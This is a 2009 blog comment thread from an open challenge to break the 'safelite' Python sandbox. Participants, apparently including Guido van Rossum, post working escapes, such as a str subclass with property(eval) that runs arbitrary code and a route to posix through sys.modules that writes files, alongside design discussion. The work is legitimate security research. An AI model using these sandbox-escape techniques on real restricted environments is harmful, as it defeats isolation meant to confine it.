Asktav - Latest Comments in A Challenge To Break Python Security

Re: A Challenge To Break Python Security

David-Sarah Hopwood — Thu, 19 Mar 2009 22:21:53 -0000

I must be confused about how scoping works in Python. How was class S able to refer to 'eval' in order to pass it to 'property'?

Re: A Challenge To Break Python Security

chenz — Wed, 04 Mar 2009 20:22:33 -0000

sorry, I just posted a wrong way

Re: A Challenge To Break Python Security

Guido van Rossum — Fri, 27 Feb 2009 08:07:29 -0000

New attack, showing that you can trick the monitor code into evaluating unsafe code in its own globals:

$ python
Python 2.6 (trunk:66717, Oct 1 2008, 20:48:36)
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from safelite import FileReader
>>> class S(str):
... __int__ = property(eval)
...
>>> f = FileReader('/etc/passwd')
>>> f.read(S('lambda:sys.stdin.__class__("/tmp/pwned","w").write("Yay!\\n")'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "safelite.py", line 210, in read
return fileobj.read(bufsize)
TypeError: nb_int should return int object
>>>
$ cat /tmp/pwned
Yay!
$

Re: A Challenge To Break Python Security

Lie — Tue, 24 Feb 2009 22:15:16 -0000

But if we don't start hacking this code now, you'll never see the end any time this decade, and the decade after it, and the decade after that...

Re: A Challenge To Break Python Security

Guido van Rossum — Tue, 24 Feb 2009 21:41:12 -0000

> Have you seen Paul Cannon's exploit?

Yes I have. What I agree should be banned is calling the code object constructor. But otherwise code objects are quite harmless, unless they contain secrets literals, which is perhaps fun as an example but not realistic.

Re: A Challenge To Break Python Security

the paul — Tue, 24 Feb 2009 15:02:55 -0000

I agree with Guido. Code objects don't need to be considered dangerous in themselves, especially with your plans to neuter traceback objects (removing tb_frame, or was it f_locals and co from the frame objects? either way).

Sorry to everyone about the blog being broken. I'll try to figure out what's wrong.

Re: A Challenge To Break Python Security

tav — Tue, 24 Feb 2009 14:04:59 -0000

Have you seen Paul Cannon's exploit?

He constructed a nifty function with custom bytecode which was able to grab traceback objects off of the
stack...

I summarised it in this post to Python-Dev: http://mail.python.org/pipe...

Paul has also written a detailed blog post on: http://thepaulprog.blogspot...

Re: A Challenge To Break Python Security

Guido van Rossum — Tue, 24 Feb 2009 12:36:58 -0000

What's the expoitability of accessing code objects? Obviously if there's a secret string constant, giving the sandbox access to the code object is bad. But as long as we block the creation of code objects from raw strings (new.code(...)), I don't have a problem with sandbox code creating code objects (through compile() or extracting them from functions they have defined themselves) and executing them. Code objects are 100% immutable and don't have pointers to environments -- only function objects have those.

Re: A Challenge To Break Python Security

$3618952 — Tue, 24 Feb 2009 10:22:12 -0000

"import safelite" is cheating. Your supposed to do "from safelite import FileReader"

Re: A Challenge To Break Python Security

Jeremy — Tue, 24 Feb 2009 09:22:34 -0000

$ python
>>> import safelite
>>> posix = safelite.sys.modules['posix']
>>> fd = posix.open('0wn3d', posix.O_CREAT | posix.O_WRONLY)
>>> posix.write(fd, 'w00t\n')
5
>>> posix.close(fd)
>>>
$ cat 0wn3d
w00t

Re: A Challenge To Break Python Security

tav — Tue, 24 Feb 2009 04:33:56 -0000

@Anon

Yeah, I had the same problem with Blogger -- its captcha service was buggered in Firefox -- even when trying to post as a Blogger user. I tried with Safari and it worked fine...

As for removing ``compile``, I'd really be interested to know your thoughts/justification... it is the approach that I've currently gone for [since it was the simplest to implement] -- but I am not totally sure about it.

If someone can somehow get at a Code object, then they can still exploit it. I'm looking through the Python source code to see where else code objects are returned from -- the obvious places like FunctionType.func_code and GeneratorType.gi_code have already been removed... would be good to know for sure =)

Re: A Challenge To Break Python Security

Anonymous — Tue, 24 Feb 2009 00:31:30 -0000

I tried to post this on Paul Cannon's blog, but his blog is broken and Anonymous posting does not work (and even deleted my post with no way to get it back; grr..).
I'd argue that, following the "default deny" principle, you ought to block compile() for the first version of safelite. I wrote a longer note providing explanation and justification, but it was eaten by Paul's blog. I'll wait to write a longer explanation until I know that the blog is working and accepts anonymous posts.

Re: A Challenge To Break Python Security

tav — Mon, 23 Feb 2009 20:27:13 -0000

Yup!

And once we've got a comprehensive list of known exploits, work can finally begin on that front.

Re: A Challenge To Break Python Security

Guido van Rossum — Mon, 23 Feb 2009 19:00:15 -0000

It looks like the real challenge will be to write a supervisor that implements a larger subset of Python (e.g. allows importing pure-Python modules) without it being riddled with the kind of bugs that have been found so far in safelite.py.

Re: A Challenge To Break Python Security

clsn — Mon, 23 Feb 2009 18:57:46 -0000

I think there will always be a way to mess with the definition of str or something like that. I think you simply can't trust the user's input:
if mode=='rb':
mymode='rb'
elif mode=='rU':
mymode='rU'
else:
mymode='r'

and then do the open with mymode, which you know YOU set.

Re: A Challenge To Break Python Security

clsn — Mon, 23 Feb 2009 18:46:28 -0000

Simple mod on Guido's clever hack still works:

class S(str):
def __eq__(self,o): return 'r'==o
def __str__(self): return self

f=FileReader('0wn3d', S('w'))

Will create an empty file, as before.

Re: A Challenge To Break Python Security

Mike Rooney — Mon, 23 Feb 2009 18:41:24 -0000

I modified Guido and Mark's exploit to create new files or clear out existing ones, which seems like writing to me. Just add "__builtins__.str = S" after the class declaration.

Re: A Challenge To Break Python Security

tav — Mon, 23 Feb 2009 18:24:04 -0000

Still, very nice try _Mark_ -- would be interested to know when you get some contents into that file =)